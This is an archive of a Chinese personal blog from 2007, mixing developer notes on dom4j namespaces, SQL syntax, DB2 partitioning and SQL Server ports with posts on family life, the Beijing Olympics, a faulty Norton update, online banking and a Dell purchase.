星期日, 十二月 30, 2007

总结之2007

2007就剩下最后几天了,或许是盘点的时候了。
忙忙叨叨,不知道在做什么事,或许也就那么点事,被动的往前走。
1,生活。这一年,就是在伺候儿子长大。
2,工作。奥运项目,从立项,到建设,年底就要出第一版了,其实离完成还早的很。手机发稿项目,是从四月开始忙,年底开始招标,或许春节前能够完成招标。
3,身体。这一年,还是在吃老本。

2008,奥运年。
1,继续伺候儿子。
2,继续2个项目,完成验收,奥运期间的技术支持,项目投入运行。
3,该锻炼身体了。

星期五, 十一月 30, 2007

dom4j两种创建namespace的方法的差异!

由于要生成符合CNML国家标准的文件,涉及到一系列的问题。尤其是用dom4j传教namespace时,不同的方法,效果很有不同,记录在此。

dom4j 两种创建XML Document方法中命名空间的差异!

Namespace namespace ...

//第一种方法
Document doc = DocumentHelper.createDocument();
Element root = doc.addElement("Root", namespace.getURI());
Element eResultMessage = root.addElement("ResultMessage");

结果为:
<Root xmlns="http://aaaaaa">
<resultmessage>...</resultmessage>
</root>

//第二种方法
Document doc = DocumentHelper.createDocument();
Element root = doc.addElement("Root");
root.add(namespace);
Element eResultMessage = root.addElement("ResultMessage");

结果为:
<Root xmlns="http://aaaaaa">
<resultmessage xmlns="">...</resultmessage>
</root><
只要是设置了父元素的Namespace,子元素就会自动出现xmlns=""的
====================
Namespace ns = new Namespace("","http://www.cnml.org.cn/2005/CNMLSchema");
Document myDocument = DocumentHelper.createDocument();
Element root = myDocument.addElement("CNML", ns.getURI());
=============
Namespace ns = new Namespace("","http://www.cnml.org.cn/2005/CNMLSchema");
Document myDocument = DocumentHelper.createDocument();
Element root = myDocument.addElement("CNML");
root.add(ns);
====================

星期一, 十月 22, 2007

各种数据库取当前日期的写法与用途

proxool.house-keeping-test-sql=select getdate()

mysql select CURRENT_DATE()
mssql select getdate()
db2 SELECT CURRENT DATE FROM SYSIBM.SYSDUMMY1
oracle SELECT SYSDATE FROM DUAL

取当前日期各种数据库的写法
1. ORACLE
SELECT SYSDATE FROM DUAL
2. DB2
SELECT CURRENT TIMESTAMP FROM SYSIBM.SYSDUMMY1
3. INFORMIX
SELECT TODAY FROM TABLE
4. SQLSERVER
SELECT GETDATE() FROM TABLE
5. SQLSERVER
SELECT GETDATE() FROM TABLE
6. MYSQL
mysql> select now();
mysql> select sysdate();
mysql> select curdate();
mysql> select current_date;
mysql> select curtime();
mysql> select current_time;
7. FOXPRO
select DATE() from TABLE

星期四, 十月 18, 2007

目睹之怪现象

世间之怪现象。

只谈技术,不谈腐败。
只谈娱乐,不谈政治。

据悉,某新建IT项目,购得多款“先进”软硬件设备用于解决某“重大”之需求,其中,
关键软件A,除核心模块外,还购得另2个扩展模块,互相矛盾冲突,无法共同使用。请教友商时,这么解释:你可以把把整体应用拆分成2个,能用扩展模块X的部分建一个应用,不能使用X但可以使用扩展模块D的部分建另一个应用。
关键软件B,购得具有负载均衡功能的版本,同时购置硬件级别的负载均衡设备。请教友商,这么解释:你可以把部分模块使用软件负载均衡,而把其他模块的均衡需求通过硬件实现。
关键软件C,购得2+4+2套软件,而与其对应硬件设备则是2个,一直没明白如何部署安装。遂再次请教友商,这么解释:我们是为你日后的需求考虑,你可以再买几台硬件设备嘛。
怎么都没想太明白,感觉这世道有点蹊跷,无论你有多少钱都能花出去,买回来的东西也肯定都能用上,这点用不上,可以在另一个地方用嘛,至于冲突、浪费、繁琐,就不在考虑之列了,把钱花出去才是首当其冲的事。

“钱多·人傻·速来”是一个笑话。没想到笑话也能发生在身边。
每每在谈论人傻的时候,自身也就成了另一个层面的傻例证。
何时能到“当下安心”或者“笑他人看不穿”这个境界,或许就不会再作类似之无聊探讨了,呵呵。

--------------------------------------------------------------------------------
桃花庵歌 明 唐寅
桃花坞里桃花庵,桃花庵下桃花仙。
桃花仙人种桃树,又摘桃花换酒钱。
酒醒只在花前坐,酒醉还来花下眠。
半醉半醒日复日,花落花开年复年。
但愿老死花酒间,不愿鞠躬车马前。
车尘马足显者事,酒盏花枝隐士缘。
若将显者比隐士,一在平地一在天。
若将花酒比车马,彼何碌碌我何闲。
别人笑我太疯癫,我笑他人看不穿。
不见五陵豪杰墓,无花无酒锄作田。
--------------------------------------------------------------------------------
郑板桥“难得糊涂”的来历。
有一年,郑板桥到山东莱州云峰山观摩郑公碑,晚间借宿在山下一老儒家中,老儒自称糊涂老人,言谈举止,高雅不凡,两人交谈十分投契。老人家中有一块特大砚台,石质细腻,镂刻精美,郑板桥看了大为赞赏。老人请郑板桥留下墨宝,以便请人刻于砚台背面,郑板桥感到糊涂老人必有来历,便题写了“难得糊涂”四字,并盖上了自己的名章“康熙秀才雍正举人乾隆进士”。砚台有方桌大小,还有很大一块余空,郑板桥也请老人题写一段跋语,老人没加推辞,随手写道:“得美石难,得顽石尤难,由美石转入顽石更难。美于中,顽石外,藏野人之庐,不入富贵之门也。”写罢也盖了方印,印文是:“院试第一,乡试第二,殿试第三”郑板桥看后,知是一位情操高雅的退隐官员,顿生敬仰之意。见砚台还有空隙,便又提笔补写了一段文字:“聪明难,糊涂尤难,由聪明而转入糊涂更难。放一着,退一步,当下安心,非图后来报也。”后来这段文字传了出来,人们感慨其中富含的哲理,便写成横联挂起来,“难得糊涂”一词也就越传越广。
--------------------------------------------------------------------------------
  多一点感性,快乐多一些。
  多一点理性,后悔少一些。
  假如我们每个人都如一个瓶子,则感性装多一点,则理性必然装少一点。反之亦然。重要的是我们要把握一个平衡。在有些事情上,我们可以为了追求快乐而多释放一些感性,即使会有一些后悔;在有些事情上,我们却只能多一些理性,即使那会让我们痛苦。“有些路必须要自己走过去,前人的经验不足深刻到让我们谨记。”同理,我们每个人的瓶子里到底要装些什么,比重又如何调解,别人很难给我们指点,唯一的标准就是我们自己的“三个有利于”:有利于我们的感觉,有利于我们的存在,有利于我们的生活。
--------------------------------------------------------------------------------
  “难得糊涂”是一种经历。只有饱经风霜、人生坎坷的人才能深得真谛。
  “难得糊涂”是一种境界。心中有大目标的人,自然对枝节杂碎不屑一顾,只着眼大方向,为全局负责,能做中流砥柱。
  “难得糊涂”是一种资格。名利淡泊、宁静致远的人物,他们内涵丰富、底蕴深厚,以平常之心、平静之心对待人生,泰然安详。
  “难得糊涂”是一种智慧。在纷繁变幻的世道中,能看透事物,看破人性,能知人间风云变幻、处事轻重缓急、举重若轻、四两拨千斤。
  “难得糊涂”是一种气度。它能使人超凡脱俗、胸襟坦荡、气宇轩昂、洒脱不羁、包容万象。
  若错误地理解“难得糊涂”。那么,“难得糊涂”产生的消极作用不可低估:
  它使人的意志消沉,失去奋斗精神,丧失责任心、视世冷漠。龟缩在自己的一方小天地之中。每个人都有自己的盲点。有的事情可以淡化、模糊地处理。但做人应心明如镜,做人不可糊涂。
  有的人是名副其实的糊涂蛋一个,想明白还明白不过来。但他偏偏偏念念不忘“难得糊涂”,真是滑天下之大稽。
  一个聪明的男人跟一个聪明的女人在一起,那叫罗曼蒂克;
  一个聪明的男人跟一个傻女孩在一起,那叫婚姻;
  一个傻男人跟一个聪明的女人在一起,那叫婚外恋。
  一个傻男人跟一个傻女人在一起,那叫幸福。
--------------------------------------------------------------------------------
http://hi.baidu.com/xianjun812/blog/item/9afadd621656c4dde7113af8.html
http://www.niwota.com/submsg/2270393
http://zhidao.baidu.com/question/4082118.html

星期二, 十月 16, 2007

数据查询中取前几行

数据查询中取前几行,网上收集而来。

db2, oracle和sqlserver取前几行的语法
db2: select * from tab fetch first 10 rows only
oracle: select * from tab where rownum <=10
sqlserver: select top 10 * from tab
mysql: select * from tab limit 10

星期六, 九月 29, 2007

DB2 - DPF - database partitioning feature

总体来说,DB2是个很不错的东西,但是DB2和ORACLE之间有很多区别,尤其在集群和扩展方面。
DB2在高可用方面有HA和HADR技术。
DPF就是是数据库分区,可以通过节点的扩充来达到性能的提升,也就是主要满足高性能需求的,而绝非满足高可用需求的,相反,使用DPF带来相应的高可用设置将非常复杂,不建议非专业用户使用。
DPF更适合使用在OLAP场合,也就是数据分析,数据仓库,超大数据量,可以使用多台低档次机器来提升总体的相应效率,达到性能的提高。而在OLTP场景下,对系统稳定性和备份要求特别高,出现故障的短时间接管要求也更高,是不太适宜使用DPF特性的。
如果有一个或多个分区崩溃(甚至没有 HA),则可以运行 DPF,但是崩溃的分区上的数据将不再可用。您永远不必担心 DB2 给出不正确的结果,因为如果不能访问在满足某个查询时需要访问的一个分区的话,DB2 将返回一个错误(例如 SQL1229)。即使只有编目分区可用,对于编目视图的一条 SELECT 语句仍将成功。
小的表根本就不应该分区,而中等大小的表又不应该展开到太多的分区上:这两种错误都会得不偿失。经验法则是,不要将行数少于100,000、大小小于 20MB 的表分区。//注:MySQL数据库可以很好的处理100万条记录的表。
DPF适合的表:大型表 —— 大到无法仅依靠单独一组 CPU 和 I/O 通道来处理,最大的数据库表。它们常常包含数亿行数据,有时候甚至包含数千亿行数据。Fact tables are the largest database tables. They often contain hundreds of millions of rows and sometimes hundreds of billions of rows.

何时分区,为何分区
具有 DPF 功能的 DB2 UDB ESE 是管理 OLAP、数据仓库和数据挖掘工作负载的理想选择。对于大型 OLTP 工作负载,它也是很好的选择。最常见的分区环境由每个物理系统上的一个数据库分区组成,这些物理系统组成数据库分区集群。每个数据库分区上的数据库管理器使用每个系统上的处理器来管理数据库中属于该分区的那部分数据。
由于数据被划分在多个数据库分区上,因而可以使用多台计算机上的多个处理器的处理能力来满足对信息的请求。数据检索和更新请求被自动分解成一些子请求,然后这些子请求在相应的数据库分区中并行地执行。每多一个服务器,就意味着将有更多的 CPU、内存和更多的磁盘用于分区数据库。
性能的提升源于这样的事实:大量的数据被划分成更小的、更易管理的块,每个分区/系统可以同时运行。如果要处理提取、转换和载入操作(ETL),而批处理窗口又比较小,那么可以考虑使用 DPF。例如,DB2 LOAD 可以在每个分区上同时运行,负载操作可以并行地分摊到多个服务器上。创建索引的性能也将显著提升。而且,通过使用 DPF,可以显著缩短备份和恢复时间,因为每台参与分区的机器需要处理的数据量更小了。

对本机 XML 数据存储的限制

本机 XML 数据存储功能需要遵守一些限制。下面概述了主要限制。有关更多详细信息,请参阅特定功能的文档。
对 XML 列定义的限制
只能在使用 UTF-8 代码集定义的数据库的表中定义 XML 列。存储在 XML 列中的 XML 文档的结构必须良好。虽然在结构上对存储在数据库中的 XML 值的大小没有限制,但与数据库交换的已序列化 XML 数据的大小限制为 2GB。
XML 列:
不能作为键列(包含主键、外键、唯一键、多维集群(MDC)表的维键、范围集群表的顺序键、分布键和数据分区键)包括。
不能是任何索引的一部分(XML 数据索引除外)
不能具有 WITH DEFAULT 子句指定的缺省值;如果列可空,则列的缺省值是 NULL
不能在范围集群表(RCT)中使用
不能在多维集群(MDC)表中使用
不能在具有分布键的表中使用
不能在按范围分区的表中使用
不能包括在类型表和带类型视图中
不能添加至对其定义了 1 类索引的表(请注意,建议不要使用 1 类索引;自 DB2 UDB 版本 8.1 开始创建的新索引为 2 类索引)
不能在 CHECK 约束中引用(VALIDATED 谓词除外)
不能在生成列中引用
不能在 CREATE TRIGGER 语句的触发操作中引用
不能在可滚动游标的选择列表中指定
检索 XML 数据时导致禁用数据分块
对 XML 列创建索引(也称为基于 XML 列的索引)还存在一些其他限制。请参阅下面的“相关参考”一节。
对数据库分区的限制
使用本机 XML 数据存储的任何功能会导致将来无法使用随 DB2 企业服务器版提供的数据库分区功能。
不能在定义了多个数据库分区的数据库的表中定义 XML 列或 XML 模式存储库(XSR)对象。
如果数据库是使用单个数据库分区定义的并且包括 XML 列或 XSR 对象,则不能添加新数据库分区。
对实用程序的限制
不支持使用 Load 实用程序将数据装入到包含 XML 列的表中。应使用 Import 和 Export 实用程序来移动 XML 数据。

参考文章:
英文有图http://www.db2mag.com/db_area/archives/2003/q2/snow.shtml
中文无图http://www.moon-soft.com/doc/15643.htm
http://publib.boulder.ibm.com/infocenter/db2luw/v9/index.jsp?topic=/com.ibm.db2.udb.apdv.embed.doc/doc/r0022679.htm

星期二, 八月 14, 2007

一年三搬家

2006年9月15日,从大厦2层搬到了九号楼地下室。
2006年11月10日,从地下室搬到印厂四层。
2007年8月14日,从西厂搬回大厦21层。

这一年尽搬家了,新华搬家公司虽然没有成立,却也给北京市大大小小的搬家公司带来了不少生意,自己的队伍也锻炼出来了,编辑系统室的每一个同志都是装机器的好手了。
搬回大厦的感觉还可以,今天的天气超级的晴朗,视线很好,尤其从21楼向北周边望去,还是能看到不少繁华市井的。

星期五, 七月 13, 2007

六年,20010713

六年前的今天,北京申奥成功,当时本人刚好在马德里分社出差,在异国他乡感受申奥直播,记录一下。

星期日, 七月 01, 2007

十年,19970701

十年。我毕业了几年,香港就回归了多少年。

十年间,发生了很多事,先记个流水帐吧。
1,成家。
最初是孤家寡人,一个河南人在北京。02年结了婚,06年生了子。
2,买房。
赶上单位福利房的末班车。严格来说,已经不是福利房了,应该是集资建房。反正不管怎么说,总算以不太高的价格买到自己能住的房子。大概是03年的年底交的钥匙,04年夏天住进新房的。
3,兄弟成长。
老二最先来北京念书,应该是2000年,先读了三年专科,又接着两年是专升本,然后就参加工作了。紧接着是05年,老三也来北京念书,现在大二了。
4,工作。
十年间没换过单位,在计算机这个行当来说还是比较稀奇的,尤其是在一个收入还不高的地方,能够经得住考验没有跳槽的人,就更离谱了。
5,出国开眼界。
短期出去过几次,自费旅游就沾不上边了,因公出差的机会还是赶上了几次。这个单位有不少驻外的地方,自然有一些公干的机会。
只数地方,倒是有不少了,可是总的日子确实少之又少,所以也谈不上很深的感受。
去过香港。弹丸之地,能够在国际上颇有影响力,确实是香港人的荣耀。在香港多次听社里老前辈说青马大桥,还是感受到英国人做事认真负责的好处,在大桥的设计施工方面都有其独到的前瞻性和总体性,也算是殖民者走之前干的一件漂亮活儿。
去过欧洲。欧洲各国都不算大,但是其工业革命早,福利都很好,有了当绅士搞休闲的经济基础,所以人都很懒,每年夏天固定要休假,很多在国内高效率的事情,在欧洲的低效率是不可想像的,另外据说北欧的福利离马克思讲的共产主义已经不远了。
去过美国。有感受的是他们的综合超市,也逛了MALL,觉得美国的穷人很幸福,因为在用以维持生活的基础类东西很便宜。
去过非洲。非洲黑人兄弟身体都很好,但是很多人营养不良,每天也就吃一顿饭。非洲人相对比较懒,当然是和欧洲人不一样的懒法。如果中国人敞开去,大批移民非洲,肯定能造就一片非常富有的地区。

星期四, 六月 14, 2007

有特色的奥运宣传

有特色的奥运宣传

转帖,这两天很流行转这个,^$^,原图不知道出自哪里。

星期四, 五月 31, 2007

SqlServer端口:1433,1434

要访问SqlServer,可以使用JDBC方式访问。
driver="com.microsoft.jdbc.sqlserver.SQLServerDriver"
url="jdbc:microsoft:sqlserver://localhost:1433;User=sa;Password=;DatabaseName=maxwell"

这段时间要使用sqlserver,偶望文生义,以为在防火墙打开1433端口即可,谁知只打开这个端口怎么都不行,后来Google一下,才知道,还需要一个端口,留作笔记。
TCP-1433
UDP-1434

星期三, 五月 30, 2007

北京奥运无线场馆用啥协议?

姜世平表示,“奥运场馆的事现在不说,因为还没有一个确定的消息。”而北京移动相关人士则表示,究竟采用什么技术,什么方案,根本不像媒体此前所报道的那样肯定,“一切都还没有确定。”
链接:国家部署奥运场馆建WAPI网 或可与WiFi实现切换

星期五, 五月 25, 2007

泥雨

昨天傍晚的时候,下了几滴雨,回家一看都是泥点点。


今天看新闻才知道,北京昨日迎来今年最大浮尘


昨天是2007年5月24日,周四。

星期五, 五月 18, 2007

诺顿防毒还是放毒

2007年5月17日,世界电信日,诺顿。

如果你使用诺顿防病毒,升级到5月17日。在检查到系统文件时,会报病毒Backdoor.Haxdoor,文件是windows系统目录system32\netapi32.dll。
有些机器还会报这个文件。C:\windows\system32\lsasrc.dll
重启电脑,会出现各种情况,报硬盘错,蓝屏等。
其实也就是健康身体,做了肾脏摘出手术,从手术台下来就再也站不起来了。
目前来看,只有诺顿一家有此问题,其他防病毒程序不会针对该文件报警,该文件也不是真正的病毒文件,其实它是Microsoft随windows提供的一个通信用的正常文件。
建议:暂时不要升级到5月17日,如果已经升级,不要关机,不要重启电脑,并做设置不扫描该文件。如果你有自定义扫描,也要做类似设置。
步骤:配置-文件系统自动防护-排出选定的文件和文件夹-排除-文件/文件夹,在弹出界面种,找到你需要排除的文件,点击确定结束设置。

星期二, 五月 15, 2007

狂烂的建行网银

偶要记住这个日子,2007年5月15日。
至于偶为啥要写这个CCB的糗事,主要是基于上投摩根的专家所说“长期持有才是最大赢家”这个理论。

号称在“2006年度银行网络评选”活动中,获得“百姓最满意的银行服务”、“百姓最认可的银行”、“最具创新的银行”,“百姓最满意的银行卡”、“最受欢迎的外汇理财产品”等奖项的CCB“存存吧”,在这一天网银疯狂出错中,N多人在网上理财失败。
作为使用5-6年网银的老同志,还是推荐大家使用ICBC的网银。这个“爱存不存”的网银也还是有一套,被美国《环球金融》杂志评为2006年度“中国最佳个人网上银行”。

  很多投资者在做投资时都很讲究选时,但是,选时的风险非常大。根据Thomson Datastream的统计,摩根士丹利世界指数2000年-2004年投资全球股市的回报如下:全年保持投资,回报率为1.8%;全年投资但错过五个表现最佳的交易日,回报率就变为-16.4%;全年投资但错过十个表现最佳的交易日,回报率就变为-27.7%;全年投资但错过十五个表现最佳的交易日,回报率为-36.3%。可见,妄想“低买高卖”反而会错过许多大的涨幅。因为选时的风险是非常大的,只有保持投资,把握住随时出现的升浪,才不会错过赚钱的最佳机会。

星期日, 五月 06, 2007

养儿方知父母恩之长假篇

养儿方知父母恩之长假篇




春节,七天长假,木木4个半月大,得了一次感冒。妈妈和姥姥也同时不舒服,都有点感冒,长假7天,大家不仅要自我疗伤,还要照顾木木,带他去医院第一次因生病打针输液,在头皮上扎针,很是心疼和辛苦。


五一,七天长假,木木近7个月大,木木已经20斤了,很是顽皮,又不好好吃奶粉,经常冲好一大瓶奶,他一口都不喝,让你急也不是,发火也不是。每年五一过后,北京就差不多进入夏天了,今年五一尤其热得厉害,已经在30度左右好几天了,据晚报的报道说北京持续高温将迎来35年最早夏天,我们也给木木穿了清凉装,改光屁股出去玩,结果一天就要尿湿2-3条裤子,还经常把床单、木地板、父母的裤子一并尿湿,连给他洗衣服都成了体力活。姥姥在2号的时候有事回成都几天,这几天我和sasa带木木感觉很累,平时姥姥在家带木木比我们更辛苦。


养儿方知父母恩,果然如此!


木木日记:http://mumubaobao.blogspot.com/














发件人 2007May,五月

星期五, 五月 04, 2007

芍药和牡丹的区别

小区院子里的花开了,无法判别是芍药还是牡丹,Google了一下,就很清楚了。把一些文字和图片转来收录供日后参考,或许明年就不认识了呢。
http://tech.163.com/06/1023/16/2U4PTUH000091537.html
http://www.hongch.net/bbs/dispbbs.asp?boardID=49&ID=385
简单的说,网易那个写的好,共三条:
1,看叶片。这是区别二者最直接、最简单的方法。牡丹的叶片先端常常再裂;芍药的叶片先端是尖的,不再分裂。这一点从图上可以看出来。
2,看秆茎。牡丹的茎为木质,落叶后地上部分不枯死;芍药的茎为草质,落叶后地上部分枯死。正因为如此,牡丹又叫“木芍药”,芍药又名“没骨花”。你可以摸一摸植株的茎,如果有像树一样的树皮,就是木质,反之就是草质。
3,看开花期。牡丹四月开花,芍药五月开花,故有“谷雨三朝看牡丹,立夏三照看芍药”之说。
我说,还是看图吧:





星期一, 四月 30, 2007

国际奥委会驻中国首席代表李红

转载一个三联的文章(2007)。
同时也建议大家看看《OK!》的专访文章(2005)。
----------------------------------------------------------
专访国际奥委会驻中国首席代表李红
——所有的潜规则都不适用于我们
记者◎孟静

  李红的职务全称是“国际奥委会电视及市场服务有限责任公司(IOC TMS)北京2008代表处首席代表”。IOC TMS是国际奥委会的全资子公司,总部设在美丽的瑞士洛桑,负责奥运会的所有经费来源和支配使用。IOC TMS在全球的员工不过40多人,却掌控着每4年夏季和冬季奥运会的40多亿美元的收入。
  李红毕业于清华大学土木工程系,后在哈佛大学获得MBA,此前在高通公司做市场推广。她获得目前这个工作的机遇听起来轻松得不可思议。她当时正在休假购物,接到婆婆的电话,告诉她国际奥委会高层要面见她。“是国际奥委会选择的我,他们此前也找了很多人。我先生是瑞士人,他们通过我先生在瑞士的亲戚找到我。当时我并不知道是个工作机会,跟他们见面后谈了一些我对奥林匹克运动和奥运市场开发方面的见解,一下子和官员们挺投缘的。”面试她的是市场部干事麦克·佩恩,当时李红并不知道这是一次绝佳的工作机会,以为只是普通聊天,他们的谈话氛围也相当轻松。
  她至今记得面试时国际奥委会办公室带给她的深刻印象,那是两个建筑:一幢城堡,是萨马兰奇和罗格的办公室,他喜欢白色,整体设计用清一色的白色大理石;另一幢员工办公室是玻璃房子,两座建筑之间隔着一大片草地,市民带着孩子晒太阳,从每个窗口都可以看到日内瓦湖。
  一个晒成浅棕肤色的好学生,每天下午16点必定在操场上跑万米,这是李红在清华时的固定形象。她至今对化妆出镜颇感不自在,完全是理工科女生的作风。“在中国受到的教育对我特别有帮助,奥林匹克理念和我们的德智体全面发展特别相近,现代奥林匹克运动提倡人的身心和谐发展,追求卓越;特别强调公平竞争,互相尊重和团结友爱。我坐在办公室和他们谈话的时候,发现我在中国受到的教育和他们的理念是多么一致,在根本没准备的情况下,他们就认为我对奥林匹克有很多的了解。”因此,她击败了来自法国、德国的诸多候选人,最终成为国际奥委会110年历程中第一位在管理机构中任职的华人,第二位是主席罗格的秘书王琦。
  所有人都羡慕李红的幸运,有些时尚媒体把她的就职经历讲成一个天上掉下的馅饼,她有点哭笑不得。“时尚杂志写得我多么轻松愉快地拿到这个冠军,他们没想到我五六岁时5点钟起床做数学题,7岁时初中题就都会做了。我7岁起每天跑步,背《新英汉词典》,一共1848页,每页都有手记,只是我不把这个当作辛苦的过程,辛苦不在我的记忆表层。”她能得到这个职位,很大程度上由于她的经历:热爱体育、有在美国和欧洲大公司工作的商业背景、对中国文化非常熟悉,同时满足这几点要求的人并不多。其实在通过面试之后,李红又经历了6个月的培训,然后又花了6个月时间了解国际奥委会的架构、运作。
  “我之所以住到北京,就是要保证北京奥运会市场开发按照规则运行和奥林匹克运动的长期发展。”她说,体育营销在中国是新生事物,大家有很多认知上的误区。比如有的罐头公司把罐头围成五环形状,以为是支持奥运。但其实奥运五环的使用一直需要遵守严格的有关色彩、搭配的规定,否则奥运五环也就无法保持现有的品牌地位。“在国外大家都在遵守一种统一的商业规则,因此很多规则一说就懂。目前,在国内很多人还不太懂,以为体育营销就是弄场演唱会、比赛、见面会,完全是点到点。奥运会、奥林匹克运动具有持续性,奥运会的合作伙伴或者赞助商们,不是给了钱就走人,而是要把他们的产品、服务、技术用在奥运里。所有开发都围绕知识产权。”
  ……
  李红的另一个任务就是在国际奥委会和北京奥组委之间构建一个有效的沟通桥梁。举几个小例子。“外国人想吃的东西和我们想象的不一样,我们去参观雅典餐厅,只有黑、白两种面包。有人就说,将来我们餐厅一定比这个多,白面包、椰蓉、芋头、葡萄干,其实人家就要一个烤得香香的白面包,觉得你弄这么多是浪费。中国人从来不喝冰水,想不起来提供冰。老外很多地方要加冰。有时候我们认为我们付出了很大努力,但不是人家要的。再比如场馆指示牌,假设不叫1234而叫东南西北,外国人会看不懂。”这些看似琐碎的细节却很关键,她说,“奥运会的魅力所在就是不管出什么问题,到开幕前都神奇地消失了”。

星期四, 四月 26, 2007

北京奥运会啤酒赞助搞“特例”

北京奥组委把奥运会搞成了中国特色。

2004年9月28日,百威啤酒被确定为2008年奥运会国际啤酒赞助商。

2005年8月10日,燕京啤酒正式成为北京2008年奥运会国内啤酒赞助商。

2005年8月11日,青岛啤酒正式成为北京2008年奥运会国内啤酒赞助商。

---------------------------------
新闻链接:
奥运会一下拥有了3家啤酒赞助商,这似乎有悖于国际奥委会关于奥运会市场开发的“排他性”原则,即一个行业只允许有一家企业参与奥运会。
北京奥组委市场开发部部长袁斌对此的解释是“特例”。袁斌说:“这是国际奥委会和北京奥组委经过认真研究,考虑到啤酒(类别)在北京奥运会所处的一种特殊环境和条件做出的一种特殊安排。”
据了解,出现这种情况的主要原因还是啤酒类别有太多的企业都对赞助北京奥运会感兴趣。
此外,袁斌还表示,这两家啤酒企业除了在赞助商的称谓上有所不同外,在宣传和接待等方面享受的权益和义务基本一致。
---------------------------------
市场开发计划简介
  对北京2008年奥运会的赞助包括国际和国内两个方面:国际奥委会第六期全球合作伙伴计划在国际范围内对整个奥林匹克运动提供支持,包括支持北京奥运会。北京2008年奥运会赞助计划在主办国范围内对举办2008年奥运会提供支持。
  北京2008年奥运会赞助计划包括三个层次:
  北京2008年奥运会合作伙伴
  北京2008年奥运会赞助商
  北京2008年奥运会供应商(独家供应商/供应商)
  每个层次设定了赞助的基准价位。在同一层次中,不同类别的基准价位由于也会有所差异,以体现不同行业之间的差别。具体价位将在销售过程中向潜在赞助企业做出说明。
  北京奥组委的各级赞助商将为奥林匹克运动在全国的发展做出贡献;通过在技术、产品和服务等方面的赞助,支持北京奥组委的筹办工作,支持2008年奥运会的举办,支持中国奥委会以及中国奥运代表团。不同层次的赞助商享有不同的市场营销权。赞助商在主办国地域范围内享有市场开发的排他权(包括共同排他权)。

星期一, 四月 23, 2007

饮水机效应

经济学有一个著名的“饮水机效应”,该效应指办公室上班的老师们常常喜欢围绕着饮水机,就头天晚上万众瞩目的电视节目或者重大事件展开热烈讨论。经济学大师认为,一个重大的电视节目或者重大事件,它一旦占领了饮水机,就说明它占领了公众的注意力,占领了广告商,占领了经济效应的制高点。

据说,在当前中国,打扫卫生阶层的人员在饮水机旁讨论的是基金。

这个写的好,推荐一下:信息时报:饮水机和下水道

偶查饮水机效应,是因为最近在看书《长尾理论》,里边提到这个东东,偶不太明白就Google了一下。

星期三, 四月 11, 2007

巨幅照片,全景DC

据说2008奥运会,有人要发巨幅照片,说是要用双手抬着拍摄的。
我估计是说这个相机呢,大家来看看。




这个东东是原装瑞士货,比所谓的日本、德国造的东西更酷,具有160M像素,也就是1.6亿。拍出来的文件大小:File sizes raw (16-bit): 307 MB,uncompressed tiff (48-bit): 922 MB。
光一个数码后背就28万9,还不算机身镜头... 而且这个相机每拍一张照片数据量就将近1G,存储系统是通过千兆网直接传到便携计算机上的~ 所以没有台Mac Pro级别的机器都打不开这图片...
如果你对这个相机也有兴趣,不妨来这里看看:地址1 地址2 地址3

星期一, 四月 09, 2007

来自101567联通的垃圾短信

最近开始收到来自101567的垃圾短信,包括彩票信息、百姓身边之类的东西。
正上班动不动手机就有动静,或者周末一大早还没起床就有信息,差不多可以算骚扰了。
baidu了一下这个101567号码,发现是联通自有品牌的增值业务接入号码,并且和接听套餐有关,基本知道怎么回事了,然后给联通客服10010打电话确认果然如此。
101567至少有这么四项短信内容:彩票信息、百姓身边、打折信息、大盘快讯。其中,如果是8元包接听500分钟,则赠送彩票和百姓,如果是16元接听1000分钟则包含上述的四项信息。偶是8块的,想收到大盘快讯都不行,嘿嘿。

退订方法——
百姓身边退订:发QXBXSHB到101567。
彩票信息退订:发QXCPXX到101567。
打折信息退订:发QXDZXX到101567。
大盘快讯退订:发QXDPKX到101567。

星期二, 四月 03, 2007

DELL网购C521n

在DELL网站订电脑一台C521n,记录一下网购历程。

使用的是Q220235促销码,此促销在本周有效(2007/3/31-2007/4/6)。
此次促销价格十分混乱,Q220235变来变去,不知道哪个是正确的。反正偶在最合适的时候下了个单,留下了报价单,然后付费。最容易混淆的是Q210235,Q220235,Q210233,Q210434。
偶是在3月31日初步选定,然后在4月2号确定了订单,在4月3日付款成功。期间在4月3日不放心,还专门打电话给dell销售人员,他们并不在意我说的实际情况。偶没办法,帮不了他们只能帮自己,就付款了。看哪天到货的时候,配置是否和报价单里边完全一致。
在4月3日,购买同一个配置的电脑,价格已从3999变为4199了。当然,偶是提前下的单,按报价单里的钱付款就可以了。根据其报价单说明,该价格可以保留到4月9日有效,其实也就是说可以在本周下单,下周付钱,这样可以比较两周的不同促销。
在4月5日,Q210233已经由3999变为3799,而同样硬件配置加一个vista-Q210434或XP-Q210234的,则价格为3999,Q210235则继续为4199,Q220235则不直接显示出来,通过“E-VALUE编码”则仍然是和Q210235一样。
电脑在4月8日下午送到了,配置基本没有问题。
在4月8日,已经处于新的促销期了,电脑仍然是和5号一样的报价。

update20070416:
截止16日,在DELL网站查询订单状态,说我这台机器还没送货呢,其实早到了,说明这家号称一流直销公司的管理还是有不尽人意的地方(到货后当天查询,说还没装车呢,哈哈)。

星期日, 四月 01, 2007

天然气涨价了

今天是愚人节,看报纸说天然气涨价了。哈哈,终于也让偶赶上了,象上次偶买电就是在涨价的当天买的,这次偶可是在涨价前一天买的燃气。
昨天在北京银行买燃气,很多人都在排队,估计不少人是得到内幕消息了。不过呢,1立方米涨0.15,最多只允许买150个字,也就22.5的差价而已。
记得在BLOG里看到多人提到在北京银行买燃气很费劲,偶是有心理准备去的,还算顺利,不过确实感到一些老人可能会遇到困难。
ps:到底是天然气,还是天燃气呢?

星期五, 三月 30, 2007

拿到了2006年度的完税证明

昨天,北京地税局送来了2006年度的《中华人民共和国个人所得税完税证明》。虽然纳税金额不高,可是偶还是挺喜欢这个东西的,毕竟偶能清楚知道自己纳税多少了。
同事们在讨论的时候,提出了这么一个建议,偶也觉得很有意义,如果哪个人大代表能在下次提案中提一下就好了。哈哈。
建议:按家庭纳税,不要按单个人的收入交纳个人所得税。比如,一家三口,就一个人上班,就算他月入1w,可是平均到夫妻两个人,也才5K而已,纳税金额却大不同。象我这样的,老妈一个人在农村生活,一年到头都是零收入,如果把我的所得税给她,都够她生活了。如果按照家庭收入来计算,综合考虑有收入需纳税的成年人数量和无收入不需要纳税的老幼病残人数量,平均一下,按照家庭收入纳税岂非也很有道理?家庭低收入补贴是按照一家的收入计算的,那么纳税应该也可以同理嘛。
不知道国外怎么处理的,尤其那些发达国家,都是老婆生了孩子后就在家带孩子,靠丈夫一个人养家的那种情况,如何计算纳税,又如何计算养老金呢?

星期四, 三月 29, 2007

